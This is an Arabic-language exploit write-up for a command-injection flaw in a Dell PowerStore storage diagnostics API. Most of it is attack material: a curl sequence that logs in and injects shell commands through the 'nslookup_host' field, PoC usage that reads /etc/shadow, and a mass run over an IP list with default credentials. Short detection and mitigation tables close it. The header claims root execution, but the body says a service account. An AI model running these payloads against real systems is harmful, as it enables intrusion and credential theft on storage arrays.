
Dell PowerStore SDNAS — حقن أوامر نظام التشغيل دون مصادقة عبر REST API يؤدي إلى تنفيذ أوامر عن بُعد بصلاحيات الجذر. CVSS 3.1: 9.8 حرج.
يكشف مكوّن Software-Defined NAS (SDNAS) في Dell PowerStore عن واجهة REST API
للتشخيص الشبكي تمرّر معاملات يتحكم بها المستخدم مباشرةً إلى أوامر نظام التشغيل
الأساسي دون تنقية. يمكن لمهاجم يمتلك أي بيانات اعتماد API صالحة أن يحقن
محارف shell الوصفية في المعامل nslookup_host الخاص بنقطة نهاية التشخيص في SDNAS،
محققًا تنفيذًا عن بُعد للشيفرة (Remote Code Execution) بحساب خدمة storageadmin.
| الحقل | القيمة |
|---|---|
| CVE | CVE-2026-116448 |
| CVSS 3.1 | 9.8 Critical — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-78 (حقن أوامر نظام التشغيل) |
| المتأثر | Dell PowerStore OS <= 3.6.0.0 مع تفعيل SDNAS |
| التصحيح | PowerStore OS 4.0.0.1 |
| المصادقة المطلوبة | منخفضة (بيانات اعتماد API للقراءة فقط كافية) |
| تاريخ الإفصاح | 2026-11-19 |
تمرّر خدمة التشخيص في SDNAS المعامل nslookup_host مباشرةً إلى استدعاء shell
دون تنقية (أُعيد بناؤها من sdnas_diag_service بعد فك التجميع):
# VULNERABLE — sdnas/diagnostic_service.py (reconstructed)
def run_network_diagnostics(params: dict) -> dict:
host = params.get("nslookup_host", "")
# CWE-78: direct string interpolation into shell=True call
result = subprocess.check_output(
f"nslookup {host} 2>&1",
shell=True, timeout=10
)
return {"output": result.decode()}
حمولة من 8.8.8.8; id; hostname # تؤدي إلى تنفيذ الأوامر المحقونة
وتعيد مخرجاتها في استجابة JSON.
flowchart LR
A([Attacker]) -->|POST /api/rest/login_sessions| B[PowerStore REST API]
B -->|DELL-EMC-TOKEN| A
A -->|GET /api/rest/sdnas_node| B
B -->|node list + IDs| A
A -->|POST sdnas_node/ID/action/diagnose_network| B
B -->|shell=True executes injected cmd| C[OS Shell]
C -->|stdout in JSON response| D([RCE output])
style A fill:#3d1a1a,stroke:#f85149,color:#f85149
style D fill:#1a1f2e,stroke:#58a6ff,color:#58a6ff
pip install -r requirements.txt
id)python poc.py -u https://powerstore.corp --username svc_monitor --password Monitor1!
python poc.py -u https://powerstore.corp \
--username svc_monitor --password Monitor1! \
--cmd "cat /etc/shadow" -o results.json
python poc.py -u https://powerstore.corp --check-only --insecure
python poc.py --ip-list scope.txt --username admin --password admin \
--proxy http://127.0.0.1:8080 --insecure --delay 1.5
# 1. Authenticate
curl -sk -X POST https://TARGET/api/rest/login_sessions \
-H 'Content-Type: application/json' \
-d '{"username":"svc_monitor","password":"Monitor1!","is_async":false}' \
-c cookies.txt -D - | grep DELL-EMC-TOKEN
# 2. List SDNAS nodes
curl -sk https://TARGET/api/rest/sdnas_node \
-H 'DELL-EMC-TOKEN: <token>' -c cookies.txt
# 3. Inject (replace NODE_ID)
curl -sk -X POST \
"https://TARGET/api/rest/sdnas_node/NODE_ID/action/diagnose_network" \
-H 'Content-Type: application/json' -H 'DELL-EMC-TOKEN: <token>' \
-d '{"nslookup_host":"8.8.8.8; id; hostname #"}' -c cookies.txt
| العلامة | الوصف |
|---|---|
-u / --url | عنوان URL الأساسي للهدف |
--ip | عنوان IP للهدف — يبني https://IP:PORT |
--ip-list FILE | عناوين IP/URLs مفصولة بأسطر جديدة |
--port INT | منفذ HTTPS (الافتراضي: 443) |
--username STR | اسم مستخدم API (الافتراضي: admin) |
--password STR | كلمة مرور API |
--cmd STR | أمر نظام التشغيل المراد تنفيذه (الافتراضي: id) |
--check-only | البصمة فقط، تخطي الاستغلال |
--proxy URL | وكيل HTTP (مثل http://127.0.0.1:8080) |
--insecure | تعطيل التحقق من شهادة TLS |
-o / --output FILE | كتابة نتائج JSON إلى ملف |
--timeout INT | مهلة الطلب بالثواني (الافتراضي: 15) |
--retries INT | عدد مرات إعادة المحاولة عند أخطاء الاتصال (الافتراضي: 2) |
--delay FLOAT | التأخير بين الأهداف (الافتراضي: 0.5) |
-v / --verbose | تسجيل مفصّل للطلبات/الاستجابات |
| المؤشر | ملاحظات |
|---|---|
POST .*/sdnas_node/.*/action/diagnose_network مع ; أو | في النص | أحرف ميتا للصدفة في nslookup_host |
عمليات فرعية غير معتادة لـ sdnas_diag (sh، bash، wget، curl) | EDR / سجل تدقيق العمليات |
| DNS/HTTP صادر من واجهة إدارة PowerStore إلى مضيفين غير معروفين | مراقبة الشبكة |
| تسجيل دخول REST API من عناوين IP مصدر غير متوقعة | تنبيه SIEM على أحداث تسجيل الدخول |
أي بيانات اعتماد API صالحة (بما في ذلك حسابات المراقبة) تتصاعد إلى تنفيذ تعليمات برمجية
عن بُعد بصلاحيات storageadmin. تشمل العواقب التسريب الكامل لبيانات
النسخ الاحتياطي الوصفية، وتكوينات وحدات التخزين، وجمع بيانات الاعتماد من /etc/shadow، والانتقال
إلى شبكة الإدارة الداخلية لمصفوفة التخزين.
| الإجراء | التفاصيل |
|---|---|
| الترقية | تطبيق Dell PowerStore OS 4.0.0.1 أو أحدث |
| التقسيم | تقييد API الإدارة (المنفذ 443) على شبكات فرعية للمسؤولين فقط |
| المراقبة | التنبيه على استدعاءات diagnose_network من حسابات غير إدارية |
| التدوير | تدقيق وتدوير جميع بيانات اعتماد API لحسابات الخدمة |
إخلاء المسؤولية: نُشر لأغراض البحث الأمني المصرّح به والإفصاح المسؤول فقط. استخدمه حصريًا على الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها.